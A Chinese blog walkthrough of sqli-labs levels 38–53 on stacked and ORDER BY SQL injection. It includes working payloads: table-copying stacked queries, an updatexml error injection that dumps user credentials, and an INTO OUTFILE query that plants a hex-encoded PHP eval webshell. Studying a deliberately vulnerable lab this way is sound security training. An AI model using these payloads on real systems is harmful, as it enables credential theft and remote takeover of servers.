sqli-labs less38-53(堆叠注入 order by之后相关注入)

堆叠注入

less-38

less-39

less-40

less-41

less-42

less-43

less-44

less-45


考察order by相关注入

less-46

less-47

less-48

less-49

less-50

less-51

less-52

less-53


Stacked injections(堆叠注入):一堆sql语句放在一起执行。

  • 堆叠注入原理:在sql语句中,用分号(;)结束一句sql语句,如果在结束一句sql语句的同时继续构造下一条语句并且执行,就是堆叠注入。堆叠注入可以执行的是任意的语句.

less-38

知道原理后接下来开始测试:

  • ?id=1‘ --+

  • 拼接语句,前一句和后一句用分号隔开

1'; create table A2rcher like users ;--+

数据库中有a2rcher表,说明sql语句执行生效。

  • 1';create table zjh1 like users;insert into zjh1 select *from users; --+

数据就出来了

less-39

与38不同的是闭合方式。

数字型

less-40

第40关报错不回显。

测试了一下闭合方式是('')

less-41

id=1' 没有回显,看了下源码同39

less-42

过滤函数mysqli_real_escape_string()

 $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
 $password = $_POST   ["login_password"];

burp抓包,passwd处修改报错注入

  • 1' and updatexml(1,concat(0x5e,substr((select group_concat(username,0x7e,password) from users),1,31),0x5e),1) #&mysubmit=Login

less-43

闭合方式不同 ('')

less-44

没有回显信息 id=’1‘

less-45

没有回显信息 id=(’1‘)


46-53考察order by相关注入

desc:降序
asc:升序

less-46

'Please input parameter as SORT with numeric value'

用sort代替id传参

  • sort=1
  • sort-2
  • sort=3

sort-4报错

  • 时间盲注猜测字段

less-47

包裹方式的不同,用?sort=1'包裹,其他与Less-46相同

less-48

无包裹,无错误回显,与Less-46相同

less-49

sort=1'包裹,无错误回显,但是这一关可以用outfile上传一句话

奇怪的知识又增加了呢!

使用line terminal by语句 使得一句话木马在结尾部分输出,并且一句话木马要转成十六进制

payload:
?sort=1'into outfile '路径\webshell.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e --+

less-50

报错注入

less-51

用?sort=1'包裹 

法一:延时注入

  法二:报错注入

  法三:写入一句话木马 以上三种方法参考上面。

  法四:使用堆叠注入创建新的users表。

  法五:使用堆叠注入写入一句话木马。

less-52

无包裹,无报错回显

法一:延时注入

  法二:写入一句话木马 以上三种方法参考上面。

  法三:使用堆叠注入创建新的users表。

  法四:使用堆叠注入写入一句话木马

less-53

用?sort=1'包裹

法一:延时注入

  法二:写入一句话木马 以上三种方法参考上面。

  法三:使用堆叠注入创建新的users表。

  法四:使用堆叠注入写入一句话木马。

posted @ 2020-12-10 15:39  A2rcher_zjh  阅读(121)  评论(0编辑  收藏  举报